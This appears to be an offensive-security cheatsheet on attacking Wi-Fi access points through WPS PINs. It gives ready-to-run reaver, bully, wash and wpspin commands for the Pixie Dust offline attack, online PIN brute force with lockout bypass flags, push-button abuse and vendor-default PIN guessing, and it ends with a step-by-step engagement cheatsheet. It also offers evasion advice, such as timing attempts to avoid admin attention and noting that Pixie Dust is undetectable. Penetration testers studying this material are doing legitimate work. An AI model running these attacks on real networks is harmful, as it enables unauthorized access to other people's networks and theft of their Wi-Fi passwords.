WPS PIN Attacks

WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.

Quick Workflow

1. Detect WPS-enabled APs (look for the WPS IE in beacons)
2. Try Pixie Dust first — offline, undetectable, instantaneous when it works
3. If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
4. Online brute as last resort, slow and detectable

Detection

# wash — dedicated WPS scanner
sudo wash -i wlan0mon

# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps

Output includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.

WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.

Pixie Dust (Offline)

The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.

# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv

# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon

When successful:

[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi

The PIN gives you the PSK directly via the M7 message — no PSK cracking needed.

Online PIN Brute-Force

When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.

# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
  -L -N -d 15 -t 30 -T .5 -r 3:30 -vv

# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attempts

Lockout Handling

Most modern APs lock WPS after a few failed PINs. Detect lockout:

• AP stops responding to EAPOL-Start
• WPS Locked flag in beacon switches to Yes

Strategies:

• Wait it out: many APs auto-unlock after 60–600 seconds. Set -r accordingly.
• Reboot the AP: physically resets state. Only works if you have authorization for that disruption.
• Spread attempts across time of day: low-traffic windows to avoid coincident legitimate WPS use that triggers admin attention.

Time Estimate

• 11,000 attempts × (delay + timeout) ≈ best case 4 hours, realistic 12–24 hours
• Lockout multiplier: 5–20x depending on policy
• Pixie Dust beats this by minutes when vulnerable. Always try first.

Push-Button (PBC) Method

WPS PBC opens a 120-second window after the user presses the button on the AP. During this window any client requesting WPS is paired without PIN.

Attack viability:

• Practically: requires either physical access to push the button (= you've already won) or social engineering ("the IT guy will press the button at 14:00")
• Some buggy APs have a permanent PBC window — test by sending PBC association

# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P

PIN-Default Patterns

Some vendors derive the WPS PIN from MAC + serial. With known algorithms:

# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before brute

Hit rate is high on certain Belkin, ZyXEL, and Linksys models.

Detection Considerations

Pixie Dust against a vulnerable chipset is essentially undetectable from the wire perspective — only one WPS exchange happens, identical to a legitimate client.

Engagement Cheatsheet

# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0

# 2. Find WPS APs
sudo wash -i wlan0mon

# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv

# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10

# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv

# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)

Key References

• pixiewps: github.com/wiire-a/pixiewps
• reaver: github.com/t6x/reaver-wps-fork-t6x
• bully: github.com/aanarchyy/bully
• WPS 2.0 spec (Wi-Fi Alliance)
• "Pixie Dust Attack" (Bongard, 2014) — original disclosure
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md